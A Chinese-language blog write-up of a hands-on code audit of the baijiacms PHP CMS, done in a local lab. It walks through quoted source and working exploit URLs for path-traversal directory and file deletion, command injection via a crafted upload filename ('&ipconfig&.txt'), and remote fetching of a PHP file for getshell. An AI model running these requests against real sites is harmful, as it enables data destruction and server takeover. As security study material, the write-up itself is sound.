前言
之前審計的CMS大多是利用工具,即Seay+崑崙鏡
聯動掃描出漏洞點,而後進行審計。感覺自己的能力仍與零無異,因此本次審計CMS絕大多數使用手動探測,即通過搜索危險函數的方式進行漏洞尋找,以此來提升審計能力,希望對正在學習代碼審計的師傅能有所幫助。
環境搭建
源碼鏈接如下所示https://gitee.com/openbaijia/baijiacms安裝至本地後,我這裏是phpstudy+win10
,所以直接解壓到phpstudy
的www
目錄下即可。
接下來去創建一個數據庫用於存儲CMS信息。(在Mysql命令行中執行)
接下來訪問CMS,會默認跳轉至安裝界面。
數據庫名稱和賬密注意一下就好,其他隨便寫。
而後安裝成功,可以開始進行審計了。
審計
準備工作
我們拿到一套源碼時,首先需要對具體文件夾進行一次分析,這樣才能對CMS有一個初步的印象,爲後續審計做一些鋪墊。根目錄如下所示:
其對應目錄解釋如下:
addons 插件
api 接口
assets 靜態文件
attachment 上傳目錄
cache 緩存目錄
config 系統文件
include 系統文件
system 後端代碼
針對system
目錄,這個較爲常用,我們可以對其進行進一步分析。
system 系統模塊目錄
├─alipay 支付寶服務窗模塊
├─bonus 優惠券模塊
├─common 公共函數模板
├─index 登錄頁
├─member 會員模塊
├─modules 可再擴展模塊和模塊管理
├─public 公共模塊
├─shop 後臺商城模塊
├─shopwap 前臺商城模塊
├─user 系統用戶
└─weixin 微信模塊
對這些有過了解後,還需要看的就是一些後端支撐文件,例如這種xxxinc.php
文件,他們常常存在一些漏洞,進而導致CMS出現漏洞。
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
所以簡單閱讀一下這些也是有必要的。接下來準備工作做完,就開始下一步。
路由解析
對一個CMS進行漏洞探測前,我們需要首先需要對CMS的路由有所瞭解。這裏我們直接訪問默認頁面baijiacms-master/index.php
,然後登錄後臺,這裏說一下我自己認爲找路由還可以的方法,就是關注一些特別點,好找一些,比如這裏的修改密碼界面。
我們點擊它,發現此時的路由如下:
baijiacms-master/index.php?mod=site&act=manager&do=changepwd&beid=1
接下來我們在Vscode中進行全局搜索,搜password=
結果如下,可以發現它的路徑。
baijiacms-master\system\manager\class\web\changepwd.php
再找到它的具體位置。
我們將它與之前看到的路由進行比對,就可以發現act
其實是system
文件夾下的文件夾名稱,do
是所選擇具體文件的名稱,對這些有個初步的瞭解,待會找到文件時能在網頁中訪問即可。
漏洞查找
這裏Seay+關鍵詞搜索
的方式進行漏洞查找。
SQL注入
疑點一(失敗)
發現有很多疑似注入點,從第一個開始跟進看。
文件路由/addons/activity/class/mobile/index.php
重點代碼。
global $_W,$_GPC;
$activityid = intval ( $_GPC ['activityid'] );
$operation = !empty($_GPC['op']) ? $_GPC['op'] : 'display';
$pagetitle = "活動報名入口";
$activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );
可以看到uniacid
變量確實未被單引號包裹,可能存在注入,但我們這裏注意到它是$_W['uniacid']
,追溯$_W
,看到global $_W,$_GPC;
,這個是全局變量,所以我們直接在vscode中進行查找(ctrl+shift+f全局搜索)
發現$_GPC=$_GP
,所以我們只需要確定$_GP
,就
可以確定$_GPC
,接下來尋找$_GP
,最終在baijiacms.php
中發現此變量
這裏的話可以看出是對所有方法請求的參數進行了一個stripslashes
函數處理,而後將參數進行了合併,合併後對數組內的參數依次進行遍歷,進行htmlspecialchars
函數處理,而後將實體字符&
替換爲&
。不過這個是$_GPC
的,但都是全局變量,$_W
應該也類似,接下來再跟着看一下,我們全局搜索$_W=
這裏可以發現$W=$_CMS
,同時看出我們的$_W['uniacid']=$_CMS['beid']
,接下來搜索$_CMS['beid']=
找到它等同於一個函數,即getDomainBeid
函數,所以接下來尋找getDomainBeid
函數。
function getDomainBeid()
{
global $_GP;
$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where (`website`=:website1 or `website`=:website2) and `deleted`=0 ",array(":website1"=>WEB_WEBSITE,":website2"=>'www.'.WEB_WEBSITE));
if(empty($system_store['id']))
{
if(!empty($_GP['beid']))
{
$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id and `deleted`=0",array(":id"=>$_GP['beid']));
if(empty($system_store['id']))
{
message("未找到相關店鋪");
}
if(!empty($system_store['isclose']))
{
message("店鋪已關閉無法訪問");
}
return $system_store['id'];
}else
{
return "";
}
}else
{
if(!empty($system_store['isclose']))
{
message("店鋪已關閉無法訪問");
}
return $system_store['id'];
}
}
這裏可以看出system_store
是由系統數據庫中查出來的數據,這個對我們來說是不可控的,我們可控的是$_GP['beid']
,此時看着一個SQL語句。
$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id and `deleted`=0",array(":id"=>$_GP['beid']));
如果我們的數據正常,他的結果應該是:
id isclose
xx xxxxxxx
xx xxxxxxx
而當我們輸入beid
爲xx and sleep(2)
這種,它毫無疑問是不會有查詢結果的,這也就意味着$system_store['id']
,而這個函數的最終結果是return $system_store['id'];
,那麼此時它就會返回空值,那麼回到這個SQL語句。
pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);
如果我們那裏正常,想讓返回的不爲空值,那麼這個$_W['uniacid']
只能接收到正常的id,也就是數據庫中存儲着的id
值,所以這裏是無法進行SQL注入的。
類似這個的還有如下文件:
文件名:system/eshop/core/mobile/commission/team.php
部分PHP代碼
$list = pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);
文件名: /addons/activity/class/web/activity.php
部分PHP代碼:
$activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );
文件名:/addons/activity/class/mobile/join.php
部分PHP代碼:
$row = pdo_fetch ("SELECT id FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );
文件名:/addons/activity/class/web/records.php
部分PHP代碼:
$row = pdo_fetch("SELECT id,pic FROM " . table('activity_records') . " WHERE id = $id and uniacid = '{$_W['uniacid']}'");
文件名:/system/eshop/core/web/shop/dispatch.php
部分PHP代碼:
$dispatch = pdo_fetch("SELECT id,dispatchname FROM " . tablename('eshop_dispatch') . " WHERE id = '$id' AND uniacid=" . $_W['uniacid'] . "");
文件名: /system/eshop/core/web/virtual/category.php
部分PHP代碼:
$list = pdo_fetchall("SELECT * FROM " . tablename('eshop_virtual_category') . " WHERE uniacid = '{$_W['uniacid']}' ORDER BY id DESC");
疑點二(失敗)
文件路徑/system/common/model/virtual.php
這裏發現參數id
,跟進id
變量,發現來源於
public function updateGoodsStock($id = 0)
{
global $_W, $_GPC;
$goods = pdo_fetch('select virtual from ' . tablename('eshop_goods') . ' where id=:id and type=3 and uniacid=:uniacid limit 1', array(
':id' => $id,
':uniacid' => $_W['uniacid']
));
發現這裏的id是直接賦值爲0的,我們是不可控的,所以不存在注入。
任意目錄及文件刪除
關於漏洞尋找,大多是從一些敏感函數入手,如果覺得Seay
掃描的不夠全面,我們可自行查找,對於文件刪除,我們這裏首先想到的就是unlink
函數,所以我們這裏打開Vscode
,ctrl+shift+f
全局搜索unlink
函數。
這裏注意到有多個文件,js
及css
前端文件自不必看,我們這裏要關注的是php
文件,接下來從第一個開始看。
疑點一
文件路由baijiacms-master\includes\baijiacms\common.inc.php
,涉及代碼如下:
function rmdirs($path='',$isdir=false)
{
if(is_dir($path))//判定變量是否爲目錄
{
$file_list= scandir($path); //查看路徑下的文件
foreach ($file_list as $file)//依次遍歷
{
if( $file!='.' && $file!='..')//如果不是.和..
{
if($file!='qrcode')
{
rmdirs($path.'/'.$file,true);//刪除目錄下的文件
}
}
}
if($path!=WEB_ROOT.'/cache/')//如果變量名不是根目錄拼接cache
{
@rmdir($path); //刪除目錄
}
}
else
{
@unlink($path);
}
}
可以看到當它判定變量爲目錄時,會對目錄下的文件進行遞歸,而後刪除一切文件,如果它不是目錄,那麼他此時就會直接刪除這個文件。接下來有函數了,那我們就要看哪個文件利用了這個函數,然後來進行利用。所以接下來全局搜索函數
在文件baijiacms-master\system\manager\class\web\database.php
中發現如下代碼:
if($operation=='delete')
{
$d = base64_decode($_GP['id']);
$path = WEB_ROOT . '/config/data_backup/';
if(is_dir($path . $d)) {
rmdirs($path . $d);
message('備份刪除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
}
}
可以發現這裏對變量進行了base64_decode
處理,這下我們想刪除的目錄的話,我們首先需要對他進行一個base64編碼,同時我們可以看到這裏指定了路徑。
$path = WEB_ROOT . '/config/data_backup/';
但這個我們其實是可以繞過的,後續只校驗了是不是目錄,而未限定目錄,所以我們通過burpsuite抓包修改目錄就可以實現任意目錄刪除。
接下來進行利用嘗試首先我們在根目錄下新建一個目錄(名字隨便,我這裏爲qwq)。
接下來訪問這個數據庫備份界面,具體路由如下:
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=database&op=restore&beid=1
開啓bp抓包,點擊刪除功能點。發送到重放包界面,修改id爲Li4vLi4vcXdx
(../../qwq的Base64編碼形式)
此時再回根目錄查看。
疑點二
除了rmdir
和unlink
,我們常常還可以關注delete
函數,因爲他直譯過來也是刪除的意思,所以接下來就全局進行搜索delete()
而後在includes\baijiacms\common.inc.php
中發現相關代碼,具體代碼如下:
function file_delete($file_relative_path) {
if(empty($file_relative_path)) {
return true;
}
$settings=globaSystemSetting();
if(!empty($settings['system_isnetattach']))
{
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
$ftp=new baijiacms_ftp();
if (true === $ftp->connect()) {
if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
return true;
} else {
return false;
}
} else {
return false;
}
}
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
$oss=new baijiacms_oss();
$oss->deletefile($file_relative_path);
return true;
}
}else
{
if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
return true;
}
}
return true;
}
這裏重點關注這一個
if(!empty($settings['system_isnetattach']))
當這個執行通過時,就不會去刪除,反之,直接將文件刪除,因此我們有必要去找一下這個是什麼東西,照舊,全局搜索。
這裏發現是遠程附件,因此我們這裏選擇本地的話,按理說就可直達else
,對文件進行直接刪除,訪問具體路由。
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1
接下來就設置好了,接下來去尋找運用了這個file_delete
函數的文件,全局搜索一下。
文件路由爲system\eshop\core\mobile\util\uploader.php
,部分代碼如下:
} elseif ($operation == 'remove') {
$file = $_GPC['file'];
file_delete($file);
show_json(1);
}
因此我們這裏訪問這個路由並設置operation
爲remove
,按理說就可以直接刪文件了,接下來嘗試利用。
首先在根目錄新建文件,這裏命名爲qwq.txt
接下來訪問路由。
http://127.0.0.1:8080/baijiacms-master/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../test.txt
此時查看根目錄。
文件已成功刪除。
同時,我們剛剛還看到了不止這一個文件利用了delete
函數,另外的是否存在呢,我們來看一下文件路由system\eshop\core\web\shop\category.php
,具體代碼:
elseif ($operation == 'post') {
...
...
...
if (!empty($id)) {
unset($data['parentid']);
pdo_update('eshop_category', $data, array(
'id' => $id
));
file_delete($_GPC['thumb_old']);
這裏可以發現想刪除文件,需要有三個條件:
1、$operation == 'post'
2、$id不爲空
3、$_GPC['thumb_old']爲具體文件名
所以我們按理說的話,我們去訪問這個路由,然後修改$operation
爲post
,添加參數$id=1
,同時附加參數$thumb_old
爲想刪除文件名即可實現刪除文件,這個$operation
在前面可以看到其實是參數op
所以我們直接給op
賦值爲post
,即可實現文件刪除,接下來進行嘗試。
在根目錄新建文件qwq2.txt
接下來訪問路由。
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=category&op=post&do=shop&m=eshop&beid=2&id=1&thumb_old=../qwq.txt
此時即可實現刪除文件。
命令執行
針對命令執行,我們關注的函數肯定是eval
、system
、exec
這幾個,所以接下來就嘗試去利用Vscode的全局搜索來尋找可疑點。首先搜索的是eval
找到的大多數是帶有eval的關鍵詞而非eval
函數,只有寥寥幾個文件涉及了eval函數,接下來進行簡單分析。
疑點一(失敗)
文件路由baijiacms-master\system\shopwap\template\mobile\login_dingtalk_pc.php
,部分代碼如下:
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");
if(data.status==1)
{
location.href="<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";
}
if(data.status==-1)
{
alert("登錄失敗!重新刷新二維碼登錄");
location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'dingtalk'));?>";
}
});
}
這裏的話可以看出是js類代碼,簡單分析一下這個函數,不難發現參數第一個是取對應的URL,第二個函數,也就是function(data)
,它是對從第一個URL中提取出的參數進行執行,這裏我們接着看函數,它這裏當執行過函數後,對結果的狀態取值進行了判斷,結果爲1
時判斷爲登錄成功,就會跳轉至另一個界面,而當爲-1
時就會登錄失敗,重回登錄界面,所以我們這裏可以看到他其實是不存在輸出執行結果的地方的,所以我們根本無從下手,這裏是無法實現命令執行的,所以Pass。
類似的文件還有如下幾個,亦不必再看。
文件路由:baijiacms-master\system\shopwap\template\mobile\login_weixin_pc.php
部分代碼:
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");
if(data.status==1)
{
location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";
}
if(data.status==-1)
{
alert("登錄失敗!重新刷新二維碼登錄");
location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'weixin'));?>";
}
});
}
setInterval("checkstatus()",2000);
文件路由:baijiacms-master\system\weixin\template\mobile\badding_weixin_pc.php
部分代碼:
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'banding_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");
if(data.status==1)
{
location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'account'));?>";
}
if(data.status==-1)
{
alert("登錄失敗!重新刷新二維碼登錄");
location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin','bizstate'=>'banding_weixin'));?>";
}
});
}
setInterval("checkstatus()",2000);
疑點二
接下來我們關注system
函數,直接Vscode
全局搜。
最終在includes\baijiacms\common.inc.php
下找到system
函數,其中部分代碼如下:
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{
$settings=globaSystemSetting();
if(!file_move($file_tmp_name, $file_full_path)) {
return error(-1, '保存上傳文件失敗');
}
if(!empty($settings['image_compress_openscale']))
{
$scal=$settings['image_compress_scale'];
$quality_command='';
if(intval($scal)>0)
{
$quality_command=' -quality '.intval($scal);
}
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
}
...
....
.....
這裏可以看到是保存文件的,在其中進行了一個判斷是否上傳成功的,這個自不必在意,這裏我們看另一個:
if(!empty($settings['image_compress_openscale']))
這個是什麼意思呢,我們這裏可以看出如果這個判斷可以通過,而後就會對文件名和文件路徑進行一個system
執行,那我們就有可能實現命令執行,因此我們的首要任務就是找到這個是什麼東西,所以接下來全局搜索image_compress_openscale
此時就找到了,它就是圖片壓縮功能
,所以我們直接去開啓這個功能,這裏這個if判斷就可以通過啦,所以接下來首先去開啓這個,訪問路由如下:
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1
接下來我們跟進看一下哪個文件利用了這個函數,畢竟找到文件才能利用。
可以發現這裏的話對此函數進行了一個利用,具體代碼如下:
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if($extention=='txt')
{
$substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
if(empty( $substr))
{
$substr="/";
}
$verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";
//file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);
if($verify_root!=WEB_ROOT."/")
{
copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
}
$cfg['weixin_hasverify']=$file['name'];
}
這裏的話是對上傳文件進行了pathinfo
函數處理,其實也就是獲取了拓展名(後綴名),當爲txt
後綴時,會繼續往下進行,繼而調用這個file_save
函數,所以我們這裏的思路就明瞭了,我們這裏新建一個文件,命名爲xxx命令.txt
,此時按理說就可以達到一個命令執行的效果,接下來進行嘗試。
我們這裏新建一個txt文件,命名爲&ipconfig&.txt
接下來對其進行上傳,具體路由
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=weixin&do=setting&beid=1
接下來保存便可以看到效果。
任意文件讀取
疑點一(失敗)
文件路由/system/eshop/core/mobile/shop/util.php
,重要代碼如下:
} else if ($operation == 'areas') {
require_once WEB_ROOT . '/includes/lib/json/xml2json.php';
$file = ESHOP_AREA_XMLFILE;
$content = file_get_contents($file);
$json = xml2json::transformXmlStringToJson($content);
$areas = json_decode($json, true);
die(json_encode($areas));
其他暫且不看,我們這裏先看這兩個:
$file = ESHOP_AREA_XMLFILE;
$content = file_get_contents($file);
本來直接包含$file
的話,確實是可能存在文件讀取,但我們這裏可以看到它這裏是給$file
直接賦值了,這個是什麼呢,我們全局搜索一下可以發現是一個xml
文件。
那麼它對我們來說是不可控的,所以這裏就不存在文件讀取了,因此這裏屬於誤報,看下一處。
所以類似這種的可疑點不必再關注,這裏簡單列出幾個:
文件名:/system/eshop/core/web/sale/enough.php
部分代碼:
$content = file_get_contents($file);
文件名:/system/eshop/core/web/shop/dispatch.php
部分代碼:
$content = file_get_contents($file);
文件上傳
疑點一
文件上傳,這裏Seay並未掃到什麼,所以我們手動來進行尋找,對於文件上傳,最先想到的就是上傳二字,對應英文爲upload
,所以直接Vscode
全局搜索upload()
文件路由爲includes\baijiacms\common.inc.php
,具體代碼如下:
function file_upload($file, $type = 'image') {
if(empty($file)) {
return error(-1, '沒有上傳內容');
}
$limit=5000;
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if(empty($type)||$type=='image')
{
$extentions=array('gif', 'jpg', 'jpeg', 'png');
}
if($type=='music')
{
$extentions=array('mp3','wma','wav','amr','mp4');
}
if($type=='other')
{
$extentions=array('gif', 'jpg', 'jpeg', 'png','mp3','wma','wav','amr','mp4','doc');
}
...
...
}
這裏可以看到這個是進行了很多檢測的,對文件類型進行了檢測,且要求了後綴,所以這個函數應該是文件上傳不了了,但還好它不止一個有關upload
的函數,我們往下看到這樣一個函數:
function fetch_net_file_upload($url) {
$url = trim($url);
$extention = pathinfo($url,PATHINFO_EXTENSION );
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');
mkdirs(WEB_ROOT . $path . $extpath);
do {
$filename = random(15) . ".{$extention}";
} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = '提取失敗.';
return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;
return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}
可以發現這個只對文件進行了pathinfo
函數處理,取出其後綴名,然後拼接路徑及隨機數字來組成文件名,那麼我們如果通過這個函數進行文件上傳,按理說就可以上傳php文件實現getshell,接下來看看哪個文件利用了此函數。
文件路由system\public\class\web\file.php
,具體代碼:
if ($do == 'fetch') {
$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
if (is_error($file)) {
$result['message'] = $file['message'];
die(json_encode($result));
}
}
接下來我們只需要滿足do=fetch
,然後url
中包含我們的文件,便可實現文件上傳,我這裏遠程文件內容如下:
接下來進行利用嘗試。訪問路由如下:
http://127.0.0.1:8080/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://xxx.xxx.xxx.xxx/qwq.php
訪問給出的文件路徑。
可以發現此時已經實現了文件上傳,如果傳一句話木馬即可Getshell。
後言
本次CMS審計是小白的第一次大幅度利用手動搜索危險函數來尋找漏洞,共計耗時半周,對本小白來說已頗爲喫力,其中頗多審計失敗的點,雖審計失敗,但仍感覺對代碼能力有了進一步瞭解,也算有所收穫。最後,如果文章中有錯誤,還望各位大師傅多多指正。
更多靶場實驗練習、網安學習資料,請點擊這裏>>